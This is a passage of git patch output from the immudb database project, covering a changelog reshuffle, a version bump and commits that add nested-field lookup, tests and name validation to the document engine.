injection when query or exec - **pkg/stdlib:** improve connection handling and allow ssl mode in connection string +- **pkg/stdlib:** increase pointer values handling and testing - **pkg/stdlib:** fix unit testing +- **pkg/stdlib:** remove context injection when query or exec - **pkg/stdlib:** handling nil pointers when converting to immudb named params -- **pkg/stdlib:** increase pointer values handling and testing - **stress_tool_sql:** add sessions and transaction mode - **stress_tool_worker_pool:** add long running stress tool - **test:** test backward compatibility with previous release (v1.1.0) @@ -989,11 +1426,10 @@ All notable changes to this project will be documented in this file. This projec -## [v1.1.0] - 2021-09-22 +## [v1.1.0] - 2021-09-21 ### Bug Fixes -- Minor updates to build/RELEASING.md - Update Dockerfile.alma maintainer field -- **CI:** Fix building and releasing almalinux images +- Minor updates to build/RELEASING.md - **Dockerfile:** Fix compiling version information in docker images - **Dockerfile.rndpass:** Fix building rndpass docker image - **embedded/sql:** suffix endKey when scan over all entries @@ -1015,103 +1451,102 @@ All notable changes to this project will be documented in this file. This projec - **pkg/stdlib:** fix driver connection releasing ### Changes -- Update RELEASING.md with documentation step. -- remove wip warning for fully implemented features -- Add documentation badge to README.md -- Add documentation link at the beginning of README.md - Add documentation link to command line help outputs +- Add documentation link at the beginning of README.md +- remove wip warning for fully implemented features - Update codenotary maintainer info -- Remove experimental S3 warning from README +- Update RELEASING.md with documentation step. +- Add documentation badge to README.md - **CI:** Build almalinux-based immudb image -- **CI:** Explicitly require bash in gh action building docker images - **CI:** Use buildkit when building docker images -- **Dockerfile:** Build a debian-based image for immudb next to the scratch one -- **Dockerfile:** Use scratch as a base for immudb image +- **CI:** Explicitly require bash in gh action building docker images - **Dockerfile:** Remove unused IMMUDB_DBNAME env var - **Dockerfile:** Update base docker images +- **Dockerfile:** Build a debian-based image for immudb next to the scratch one +- **Dockerfile:** Use scratch as a base for immudb image - **Makefile:** More explicit webconsole version - **Makefile:** Add darwin/amd64 target - **build.md:** Add info about removing webconsole/dist folder -- **cmd/immuadmin:** remove replication flag shortcut -- **cmd/immuadmin:** parse all db flags when preparing settings - **cmd/immuadmin:** improve flag description and rollback args spec +- **cmd/immuadmin:** parse all db flags when preparing settings +- **cmd/immuadmin:** remove replication flag shortcut - **cmd/immuclient:** display number of updated rows as result of sql exec - **cmd/immudb:** use common replication prefix - **docker:** Update generation of docker tags - **embedded:** leverage kv constraint to enforce upsert over auto-incremental pk requires row to already exist - **embedded/multierr:** enhace multi error implementation -- **embedded/sql:** fix primary key supported types error message +- **embedded/sql:** minor code refactoring - **embedded/sql:** get rid of limited joint implementation -- **embedded/sql:** ignore null values when encoding row -- **embedded/sql:** include constraint only when insert occurs without auto_incremental pk +- **embedded/sql:** mark catalog as mutated when using auto incremental pk +- **embedded/sql:** catalog loading requires up to date data store indexing +- **embedded/sql:** fix max key length validation - **embedded/sql:** wip scan optimizations based on query condition and sorting - **embedded/sql:** partial progress on selector range calculation - **embedded/sql:** partial progress on selector range calculation - **embedded/sql:** expose primary key index id -- **embedded/sql:** leverage endKey to optimize indexing scanning -- **embedded/sql:** minor code refactoring -- **embedded/sql:** mark catalog as mutated when using auto incremental pk -- **embedded/sql:** fix max key length validation -- **embedded/sql:** catalog loading requires up to date data store indexing -- **embedded/sql:** optional parenthesis when specifying single-column index +- **embedded/sql:** fix primary key supported types error message +- **embedded/sql:** changed identifiers length in catalog +- **embedded/sql:** ignore null values when encoding row - **embedded/sql:** disable TIMESTAMP data-type - **embedded/sql:** move index selection closer to data source in query statements +- **embedded/sql:** move index spec closer to ds +- **embedded/sql:** include constraint only when insert occurs without auto_incremental pk - **embedded/sql:** optimize integer key mapping - **embedded/sql:** use plain big-endian encoding for integer values - **embedded/sql:** include support for int64 parameters - **embedded/sql:** minor refactoring to simplify code -- **embedded/sql:** minor code simplification +- **embedded/sql:** leverage endKey to optimize indexing scanning - **embedded/sql:** use int64 as value holder for INTEGER type - **embedded/sql:** add further validations when encoding values as keys -- **embedded/sql:** move index spec closer to ds +- **embedded/sql:** remove join constraints - **embedded/sql:** reserve byte to support multi-ordered indexes +- **embedded/sql:** minor code simplification - **embedded/sql:** index prefix function - **embedded/sql:** use Cols as a replacement for ColsByID -- **embedded/sql:** changed identifiers length in catalog - **embedded/sql:** validate non-null pk when decoding index entry - **embedded/sql:** limit upsert to tables without secondary indexes -- **embedded/sql:** remove join constraints +- **embedded/sql:** optional parenthesis when specifying single-column index - **embedded/sql:** convert unmapIndexedRow into unmapRow with optional indexed value - **embedded/tbtree:** typo in log message - **embedded/tbtree:** compaction doesn't need snapshots to be closed -- **embedded/tbtree:** return kv copies - **embedded/tbtree:** adjust seekKey based on prefix even when a value is set +- **embedded/tbtree:** return kv copies - **embedded/tools:** update sql stress tool with exec summary -- **pkg/api:** changed db identifiers type - **pkg/api:** use fresh id in proto message - **pkg/api:** use a map for holding latest auto-incremental pks +- **pkg/api:** include updated rows and last inserted pks in sql exec result - **pkg/api:** use int64 as value holder for INTEGER type - **pkg/api:** use follower naming for replication credentials -- **pkg/api:** include updated rows and last inserted pks in sql exec result +- **pkg/api:** changed db identifiers type - **pkg/api:** delete deprecated clean operation -- **pkg/client:** changed db identifiers type - **pkg/client:** move unit testing to integration package to avoid circular references -- **pkg/database:** warn about data migration needed +- **pkg/client:** changed db identifiers type +- **pkg/database:** minor adjustments based on multi-column indexing - **pkg/database:** minor refactoring coding conventions -- **pkg/database:** remove active replication options from database - **pkg/database:** create sql db instance if not present -- **pkg/database:** minor adjustments based on multi-column indexing -- **pkg/database:** update integration to exec summary +- **pkg/database:** remove active replication options from database - **pkg/database:** display as unique if there is a single-column index +- **pkg/database:** update integration to exec summary - **pkg/database:** include updated rows and last inserted pks in sql exec result - **pkg/database:** warn about data migration needed +- **pkg/database:** warn about data migration needed - **pkg/database:** minor renaming after rebase - **pkg/pgsql/server:** adds pgsql server maxMsgSize 32MB limit - **pkg/pgsql/server:** add a guard on payload message len -- **pkg/replication:** handle disconnection only within a single thread - **pkg/replication:** use new context for each client connection +- **pkg/replication:** handle disconnection only within a single thread - **pkg/replication:** use info log level for network failures -- **pkg/server:** followers management +- **pkg/server:** use replica wording - **pkg/server:** validate replication settings -- **pkg/server:** nil tlsConfig on default options - **pkg/server:** change max concurrency per database to 30 - **pkg/server:** changed default db file size and make it customizable at db creation time -- **pkg/server:** use replica wording +- **pkg/server:** followers management +- **pkg/server:** nil tlsConfig on default options - **pkg/stdLib:** implementing golang standard sql interfaces -- **pkg/stdlib:** remove pinger interface implementation and increase code coverage - **pkg/stdlib:** increase code coverage and fix blob results scan -- **pkg/stdlib:** immuclient options identifier(uri) is used to retrieve cached connections +- **pkg/stdlib:** remove pinger interface implementation and increase code coverage - **pkg/stdlib:** simplified and hardened uri handling +- **pkg/stdlib:** immuclient options identifier(uri) is used to retrieve cached connections ### Features - Dockerfile for almalinux based image @@ -1360,151 +1795,156 @@ All notable changes to this project will be documented in this file. This projec - **pkg/sql:** resolve shift/reduce conflict in SELECT stmt ### Changes -- move concrete class dblist to database package +- fix rebase leftovers - fix makefile leftovers - bundle webconsole inside dist binaries - improved make dist script -- reword wire compatibility +- fix acronym uppercase - increase coverage and minor fix -- make roadmap about pgsql wire more explicit ([#723](https://github.com/vchain-us/immudb/issues/723)) +- README SDK description and links ([#717](https://github.com/vchain-us/immudb/issues/717)) +- github workflow to run stress_tool ([#714](https://github.com/vchain-us/immudb/issues/714)) - blank line needed after tag or interpreted as comment +- move concrete class dblist to database package +- dblist interface is moved to database package and extended - add pgsql related flags -- fix rebase leftovers - inject immudb user authentication +- fix immugw support - expose missing methods to REST ([#725](https://github.com/vchain-us/immudb/issues/725)) -- fix acronym uppercase +- make roadmap about pgsql wire more explicit ([#723](https://github.com/vchain-us/immudb/issues/723)) - revert 3114f927adf4a9b62c4754d42da88173907a3a9f in order to allow insecure connection on grpc server -- dblist interface is moved to database package and extended +- reword wire compatibility +- **cmd/immuclient:** add describe, list, exec and query commands to immuclient shell - **cmd/immuclient:** query result rendering - **cmd/immuclient:** render raw values -- **cmd/immuclient:** add describe, list, exec and query commands to immuclient shell - **cmd/immudb:** add debug info env var details -- **cmd/immudb/command:** restore missing pgsql cmd flag - **cmd/immudb/command:** enabled pgsql server only in command package +- **cmd/immudb/command:** restore missing pgsql cmd flag - **cmd/immudb/command:** handle tls configuration errors - **cmd/immudb/command:** remove parsing path option in unix - **embedded/cache:** thread-safe lru-cache +- **embedded/sql:** improved nullables +- **embedded/sql:** skip tabs +- **embedded/sql:** move sql engine under embedded package +- **embedded/sql:** safer support for selected database - **embedded/sql:** minor refactoring to expose functionality needed for row verification -- **embedded/sql:** keep one snapshot open and close when releasing - **embedded/sql:** case insensitive functions -- **embedded/sql:** move sql engine under embedded package -- **embedded/sql:** resolve query with current snapshot if readers are still open -- **embedded/sql:** case insensitive identifiers +- **embedded/sql:** set 'x' as blob prefix - **embedded/sql:** store non-null values and only col ids on encoded rows +- **embedded/sql:** keep one snapshot open and close when releasing - **embedded/sql:** expose functionality needed for row verification -- **embedded/sql:** improved nullables -- **embedded/sql:** safer support for selected database -- **embedded/sql:** skip tabs -- **embedded/sql:** set 'x' as blob prefix - **embedded/sql:** validate table is empty before index creation -- **embedded/store:** log during compaction +- **embedded/sql:** resolve query with current snapshot if readers are still open +- **embedded/sql:** case insensitive identifiers +- **embedded/store:** use specified sync mode also for the incremental hash tree +- **embedded/store:** index info to return latest indexed tx - **embedded/store:** use indexer state to terminate indexing goroutine -- **embedded/store:** commitWith callback using KeyIndex interface +- **embedded/store:** log during compaction - **embedded/store:** pausable indexer -- **embedded/store:** index info to return latest indexed tx +- **embedded/store:** commitWith callback using KeyIndex interface - **embedded/tbree:** postpone reader initialization until first read -- **embedded/tbtree:** index compaction if there is not opened snapshot, open snapshot if compaction is not in already in progress - **embedded/tbtree:** remove dots denoting progress when flushing is not needed - **embedded/tbtree:** make snapshot thread-safe +- **embedded/tbtree:** index compaction if there is not opened snapshot, open snapshot if compaction is not in already in progress - **embedded/watchers:** cancellable wait -- **pkg/api:** render varchar as raw string value -- **pkg/api:** render varchar as quoted string -- **pkg/api:** include data needed for row verification - **pkg/api:** render varchar as quoted strings - **pkg/api:** sql api spec +- **pkg/api:** render varchar as quoted string +- **pkg/api:** render varchar as raw string value +- **pkg/api:** include data needed for row verification - **pkg/api/schema:** Handle tools via modules ([#726](https://github.com/vchain-us/immudb/issues/726)) - **pkg/auth:** add SQL-related permissions - **pkg/auth:** perm spec for row verification endpoint -- **pkg/client:** use to fetch current database name - **pkg/client:** auto convert numeric values to uint64 - **pkg/client:** improved sql API +- **pkg/client:** use to fetch current database name - **pkg/client:** remove deprecated operations - **pkg/client/cache:** release lock only if locked file is present, and wait for unlock when already present +- **pkg/client/clienttest:** add VerifiedGetAt mock method +- **pkg/database:** add missing copy +- **pkg/database:** return mapped row values +- **pkg/database:** typed-value proto conversion +- **pkg/database:** improved parameters support - **pkg/database:** ensure rowReader get closed upon completion -- **pkg/database:** close sql engine when db gets closed +- **pkg/database:** row verification against kv-entries +- **pkg/database:** upgrade wait for indexing api +- **pkg/database:** towards prepared sql query support +- **pkg/database:** make use of UseDatabase operation - **pkg/database:** support index compaction with sql engine in place -- **pkg/database:** typed-value proto conversion -- **pkg/database:** set implicit database using `UseDatabase` method +- **pkg/database:** close sql engine when db gets closed - **pkg/database:** support for nullable values -- **pkg/database:** add missing copy +- **pkg/database:** set implicit database using `UseDatabase` method +- **pkg/database:** use store-level snapshots - **pkg/database:** use MaxKeyScanLimit to limit query results -- **pkg/database:** row verification against kv-entries -- **pkg/database:** return mapped row values -- **pkg/database:** towards prepared sql query support -- **pkg/database:** upgrade wait for indexing api - **pkg/database:** upgrade ExecAll to use KeyIndex interface -- **pkg/database:** improved parameters support - **pkg/database:** support multi-selected columns -- **pkg/database:** use store-level snapshots -- **pkg/database:** make use of UseDatabase operation - **pkg/embedded:** introduce Snapshot at Store level -- **pkg/pgsql:** handle parameter status and terminate messages -- **pkg/pgsql:** bind immudb sql engine - **pkg/pgsql:** handle empty response and command complete message - **pkg/pgsql:** fix filename format -- **pkg/pgsql:** add pgsql server wire protocol stub +- **pkg/pgsql:** bind immudb sql engine - **pkg/pgsql:** use options flag to determine if pgsql server need to be launched +- **pkg/pgsql:** add pgsql server wire protocol stub +- **pkg/pgsql:** handle parameter status and terminate messages - **pkg/pgsql/client:** add jackc/pgx pgsql client for testing purpose -- **pkg/pgsql/server:** minor fixes and leftovers -- **pkg/pgsql/server:** enforce reserved statements checks +- **pkg/pgsql/server:** improve error handling when client message is not recognized - **pkg/pgsql/server:** fix connection upgrade pgsql protocol messages +- **pkg/pgsql/server:** handle an ssl connection request if no certificate is present on server +- **pkg/pgsql/server:** enforce reserved statements checks +- **pkg/pgsql/server:** move sysdb in session constructor - **pkg/pgsql/server:** remove host parameter -- **pkg/pgsql/server:** limit number of total connections and do not stop server in case of errors - **pkg/pgsql/server:** add missing copyright -- **pkg/pgsql/server:** handle version statement - **pkg/pgsql/server:** default error in simplequery loop has error severity -- **pkg/pgsql/server:** add debug logging messages, split session handling in multiple files -- **pkg/pgsql/server:** improve error handling when client message is not recognized -- **pkg/pgsql/server:** move sysdb in session constructor - **pkg/pgsql/server:** protect simple query flow with a mutex -- **pkg/pgsql/server:** handle an ssl connection request if no certificate is present on server -- **pkg/server:** inject sqlserver in main immudb server +- **pkg/pgsql/server:** handle version statement +- **pkg/pgsql/server:** limit number of total connections and do not stop server in case of errors +- **pkg/pgsql/server:** add debug logging messages, split session handling in multiple files +- **pkg/pgsql/server:** minor fixes and leftovers +- **pkg/server:** remove tls configuration in server - **pkg/server:** fix db mock -- **pkg/server:** remove unused options -- **pkg/server:** load systemdb before any other db - **pkg/server:** use systemdb as a shared catalog store -- **pkg/server:** remove tls configuration in server +- **pkg/server:** inject sqlserver in main immudb server +- **pkg/server:** load systemdb before any other db - **pkg/server:** renamed server reference -- **pkg/sql:** many internal adjustments related to name binding -- **pkg/sql:** row reader used to close the snapshot once reading is completed +- **pkg/server:** remove unused options - **pkg/sql:** refactored AggregatedValue and TypedValue interfaces -- **pkg/sql:** unify augmented and grouped row readers -- **pkg/sql:** support for SUM aggregations -- **pkg/sql:** row reader to support GROUP BY behaviour - **pkg/sql:** grammar adjustments to support aggregated columns - **pkg/sql:** swap LIMIT and ORDER BY parse ordering -- **pkg/sql:** alias overriding datasource name -- **pkg/sql:** joint column with explicit table reference -- **pkg/sql:** support multiple spacing between statements +- **pkg/sql:** row reader to support GROUP BY behaviour +- **pkg/sql:** make row values externally accessible +- **pkg/sql:** support for SUM aggregations - **pkg/sql:** upgrade to new store commit api -- **pkg/sql:** towards catalog encapsulation +- **pkg/sql:** unify augmented and grouped row readers - **pkg/sql:** column descriptors in row readers - **pkg/sql:** improve error handling - **pkg/sql:** return ErrNoMoreRows when reading -- **pkg/sql:** improved null value support -- **pkg/sql:** order-preserving result set -- **pkg/sql:** using new KeyReaderSpec -- **pkg/sql:** ensure use snapshot is on the range of committed txs +- **pkg/sql:** row reader used to close the snapshot once reading is completed +- **pkg/sql:** many internal adjustments related to name binding +- **pkg/sql:** alias overriding datasource name +- **pkg/sql:** joint column with explicit table reference - **pkg/sql:** joins limited to INNER type and equality comparison against ref table PK - **pkg/sql:** add comment about nested joins -- **pkg/sql:** use token IDENTIFIER +- **pkg/sql:** mapping using ids, ordering and renaming support - **pkg/sql:** composite readers - **pkg/sql:** wip multiple readers - **pkg/sql:** catch store indexing errors - **pkg/sql:** add generated sql parser -- **pkg/sql:** make row values externally accessible +- **pkg/sql:** support multiple spacing between statements - **pkg/sql:** remove offset param - **pkg/sql:** value-less indexed entries - **pkg/sql:** encoded value with pk entry - **pkg/sql:** remove alter column stmt - **pkg/sql:** inmem catalog with table support - **pkg/sql:** inmem catalog -- **pkg/sql:** catalog construct +- **pkg/sql:** towards catalog encapsulation - **pkg/sql:** primary key supported type validation - **pkg/sql:** use standardized transaction closures - **pkg/sql:** col selector with resolved datasource - **pkg/sql:** case insensitive reserved words -- **pkg/sql:** mapping using ids, ordering and renaming support +- **pkg/sql:** use token IDENTIFIER +- **pkg/sql:** improved null value support +- **pkg/sql:** order-preserving result set +- **pkg/sql:** using new KeyReaderSpec +- **pkg/sql:** ensure use snapshot is on the range of committed txs +- **pkg/sql:** catalog construct - **tools/stream:** upgrade stream tools dependencies ### Code Refactoring @@ -1606,7 +2046,7 @@ All notable changes to this project will be documented in this file. This projec -## [cnlc-2.2] - 2021-04-28 +## [cnlc-2.2] - 2021-04-23 ### Bug Fixes - update Discord invite link - readme typo and mascot placement ([#693](https://github.com/vchain-us/immudb/issues/693)) @@ -1614,16 +2054,11 @@ All notable changes to this project will be documented in this file. This projec - **pkg/client:** delete token file on logout only if the file exists ### Changes -- Add benchmark to README (based on 0.9.x) ([#706](https://github.com/vchain-us/immudb/issues/706)) -- github workflow to run stress_tool ([#714](https://github.com/vchain-us/immudb/issues/714)) -- README SDK description and links ([#717](https://github.com/vchain-us/immudb/issues/717)) -- fix immugw support - Add roadmap +- Add benchmark to README (based on 0.9.x) ([#706](https://github.com/vchain-us/immudb/issues/706)) - remove grpc term from token expiration description - **embedded/store:** check latest indexed tx is not greater than latest committed one -- **embedded/store:** use specified sync mode also for the incremental hash tree - **embedded/store:** defer lock releasing -- **pkg/client/clienttest:** add VerifiedGetAt mock method - **pkg/database:** use newly exposed KeyReaderSpec ### Features @@ -2270,6 +2705,7 @@ All notable changes to this project will be documented in this file. This projec ## [v0.8.0] - 2020-09-15 ### Bug Fixes +- fix immudb and immugw version and mangen commands errors Without this change, while immuclient and immuadmin still worked as expected, immudb and immugw version and mangen commands were throwing the following error: ./immugw version Error: flag accessed but not defined: config Usage: immugw version [flags] - **pkg/client:** setBatch creates structured values ### Changes @@ -2298,7 +2734,6 @@ All notable changes to this project will be documented in this file. This projec ## [v0.7.1] - 2020-08-17 ### Bug Fixes -- fix immudb and immugw version and mangen commands errors Without this change, while immuclient and immuadmin still worked as expected, immudb and immugw version and mangen commands were throwing the following error: ./immugw version Error: flag accessed but not defined: config Usage: immugw version [flags] - fix immuclient audit-mode - **cmd/immuadmin/command:** fix immuadmin dbswitch - **pkg/client:** token service manages old token format @@ -3146,7 +3581,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.4.1...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.5.0-RC1...HEAD +[v1.5.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.1...v1.5.0-RC1 [v1.4.1]: https://github.com/vchain-us/immudb/compare/v1.4.1-RC1...v1.4.1 [v1.4.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.0...v1.4.1-RC1 [v1.4.0]: https://github.com/vchain-us/immudb/compare/v1.4.0-RC2...v1.4.0 diff --git a/Makefile b/Makefile index f8db64089d..e575e545db 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.4.1 +VERSION=1.5.0-RC1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 From b6ed453d7688c2b18c5f018a8324f9e16f47b670 Mon Sep 17 00:00:00 2001 From: tomekkolo <38069337+tomekkolo@users.noreply.github.com> Date: Fri, 16 Jun 2023 16:23:06 +0200 Subject: [PATCH 0633/1062] First try --- embedded/document/engine.go | 31 ++++++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 48c517ee2b..f101017868 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -20,6 +20,7 @@ import ( "context" "errors" "fmt" + "strings" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" @@ -568,7 +569,35 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru continue } - if rval, ok := doc.Fields[col.Name()]; ok { + var rval *structpb.Value + var ok bool + if rval, ok = doc.Fields[col.Name()]; !ok { + fmt.Printf("CHECKING . COLUMNS, %s\n", col.Name()) + nameParts := strings.SplitN(col.Name(), ".", 3) + nestedStruct := doc + for j := range nameParts { + fmt.Printf("CHECKING . COLUMNS, LOOPING %d, %s\n", j, nameParts[j]) + if j == len(nameParts)-1 { + if rval, ok = nestedStruct.Fields[nameParts[len(nameParts)-1]]; !ok { + rval = nil + } + fmt.Printf("Found rval %+v\n", rval) + break + } + + if rval, ok = nestedStruct.Fields[nameParts[j]]; !ok { + return nil, fmt.Errorf("invalid fields") + } + + nestedStruct = rval.GetStructValue() + if nestedStruct == nil { + rval = nil + break + } + } + } + + if rval != nil { val, err := structValueToSqlValue(rval, col.Type()) if err != nil { return nil, err From e643aa28c3fc3370574cb26d427ea28660071618 Mon Sep 17 00:00:00 2001 From: tomekkolo <38069337+tomekkolo@users.noreply.github.com> Date: Fri, 16 Jun 2023 16:56:25 +0200 Subject: [PATCH 0634/1062] tests --- embedded/document/engine.go | 14 +++--- embedded/document/engine_test.go | 76 +++++++++++++++++++++++++++++++- 2 files changed, 81 insertions(+), 9 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index f101017868..cc3ce29489 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -31,8 +31,10 @@ import ( ) const ( - DefaultDocumentIDField = "_id" - DocumentBLOBField = "_doc" + DefaultDocumentIDField = "_id" + DocumentBLOBField = "_doc" + documentFieldPathSeparator = "." + documentMaxNestedFields = 3 ) type Engine struct { @@ -572,21 +574,19 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru var rval *structpb.Value var ok bool if rval, ok = doc.Fields[col.Name()]; !ok { - fmt.Printf("CHECKING . COLUMNS, %s\n", col.Name()) - nameParts := strings.SplitN(col.Name(), ".", 3) + nameParts := strings.SplitN(col.Name(), documentFieldPathSeparator, documentMaxNestedFields) nestedStruct := doc for j := range nameParts { - fmt.Printf("CHECKING . COLUMNS, LOOPING %d, %s\n", j, nameParts[j]) if j == len(nameParts)-1 { if rval, ok = nestedStruct.Fields[nameParts[len(nameParts)-1]]; !ok { rval = nil } - fmt.Printf("Found rval %+v\n", rval) break } if rval, ok = nestedStruct.Fields[nameParts[j]]; !ok { - return nil, fmt.Errorf("invalid fields") + rval = nil + break } nestedStruct = rval.GetStructValue() diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index c63dd40e8a..86dec45b2c 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -58,12 +58,14 @@ func TestCreateCollection(t *testing.T) { {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "address.street", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country"}}, + {Fields: []string{"address.street"}}, }, ) require.NoError(t, err) @@ -82,8 +84,8 @@ func TestCreateCollection(t *testing.T) { collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Equal(t, collectionName, collection.Name) - require.Len(t, collection.Fields, 5) - require.Len(t, collection.Indexes, 5) + require.Len(t, collection.Fields, 6) + require.Len(t, collection.Indexes, 6) } func TestListCollections(t *testing.T) { @@ -101,12 +103,14 @@ func TestListCollections(t *testing.T) { {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "address.street", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country"}}, + {Fields: []string{"address.street"}}, }, ) require.NoError(t, err) @@ -130,10 +134,12 @@ func TestGetDocument(t *testing.T) { []*protomodel.Field{ {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + {Name: "address.street", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"country"}}, {Fields: []string{"pincode"}}, + {Fields: []string{"address.street"}}, }, ) require.NoError(t, err) @@ -143,6 +149,11 @@ func TestGetDocument(t *testing.T) { Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), + "address": structpb.NewStructValue(&structpb.Struct{ + Fields: map[string]*structpb.Value{ + "street": structpb.NewStringValue("mainstreet"), + }, + }), }, }) require.NoError(t, err) @@ -162,6 +173,11 @@ func TestGetDocument(t *testing.T) { Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(2), }, + { + Field: "address.street", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewStringValue("mainstreet"), + }, }, }, }, @@ -195,10 +211,12 @@ func TestDocumentAudit(t *testing.T) { []*protomodel.Field{ {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + {Name: "address.street", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"country"}}, {Fields: []string{"pincode"}}, + {Fields: []string{"address.street"}}, }, ) require.NoError(t, err) @@ -208,6 +226,11 @@ func TestDocumentAudit(t *testing.T) { Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), + "address": structpb.NewStructValue(&structpb.Struct{ + Fields: map[string]*structpb.Value{ + "street": structpb.NewStringValue("mainstreet"), + }, + }), }, }) require.NoError(t, err) @@ -222,6 +245,11 @@ func TestDocumentAudit(t *testing.T) { Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue("wonderland"), }, + { + Field: "address.street", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewStringValue("mainstreet"), + }, }, }, }, @@ -232,6 +260,11 @@ func TestDocumentAudit(t *testing.T) { "_id": structpb.NewStringValue(docID.EncodeToHexString()), "pincode": structpb.NewNumberValue(2), "country": structpb.NewStringValue("wonderland"), + "address": structpb.NewStructValue(&structpb.Struct{ + Fields: map[string]*structpb.Value{ + "street": structpb.NewStringValue("notmainstreet"), + }, + }), }, }) require.NoError(t, err) @@ -255,6 +288,9 @@ func TestDocumentAudit(t *testing.T) { require.Contains(t, docAudit.Document.Fields, DefaultDocumentIDField) require.Contains(t, docAudit.Document.Fields, "pincode") require.Contains(t, docAudit.Document.Fields, "country") + require.Contains(t, docAudit.Document.Fields, "address") + require.NotNil(t, docAudit.Document.Fields["address"].GetStructValue()) + require.Contains(t, docAudit.Document.Fields["address"].GetStructValue().Fields, "street") require.Equal(t, uint64(i+1), docAudit.Revision) } } @@ -272,10 +308,12 @@ func TestQueryDocuments(t *testing.T) { []*protomodel.Field{ {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + {Name: "address.street", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"country"}}, {Fields: []string{"pincode"}}, + {Fields: []string{"address.street"}}, }, ) require.NoError(t, err) @@ -286,6 +324,11 @@ func TestQueryDocuments(t *testing.T) { Fields: map[string]*structpb.Value{ "pincode": structpb.NewNumberValue(i), "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), + "address": structpb.NewStructValue(&structpb.Struct{ + Fields: map[string]*structpb.Value{ + "street": structpb.NewStringValue(fmt.Sprintf("mainstreet-%d", int(i))), + }, + }), }, }) require.NoError(t, err) @@ -320,6 +363,35 @@ func TestQueryDocuments(t *testing.T) { require.EqualValues(t, 9, count) }) + t.Run("test query nested with != operator", func(t *testing.T) { + query := &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "address.street", + Operator: protomodel.ComparisonOperator_NE, + Value: structpb.NewStringValue("mainstreet-3"), + }, + }, + }, + }, + } + + reader, err := engine.GetDocuments(ctx, query, 0) + require.NoError(t, err) + defer reader.Close() + + docs, err := reader.ReadN(ctx, 10) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Len(t, docs, 9) + + count, err := engine.CountDocuments(ctx, query, 0) + require.NoError(t, err) + require.EqualValues(t, 9, count) + }) + t.Run("test query with < operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, From 78b5748017267a094ab6b17f628faa2c69864c7c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 16 Jun 2023 18:57:36 -0300 Subject: [PATCH 0635/1062] chore(embedded/document): collection and field naming validations Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 93 ++++++++++++++++++++----------- embedded/document/engine_test.go | 88 +++++++++++++++++++++++++++++ embedded/document/options.go | 14 ++++- embedded/document/options_test.go | 8 +++ 4 files changed, 168 insertions(+), 35 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index cc3ce29489..e49517c5be 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -20,6 +20,7 @@ import ( "context" "errors" "fmt" + "regexp" "strings" "github.com/codenotary/immudb/embedded/sql" @@ -34,11 +35,16 @@ const ( DefaultDocumentIDField = "_id" DocumentBLOBField = "_doc" documentFieldPathSeparator = "." - documentMaxNestedFields = 3 ) +var collectionNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_]*$`) +var documentIDFieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_]*$`) +var fieldNameValidation = 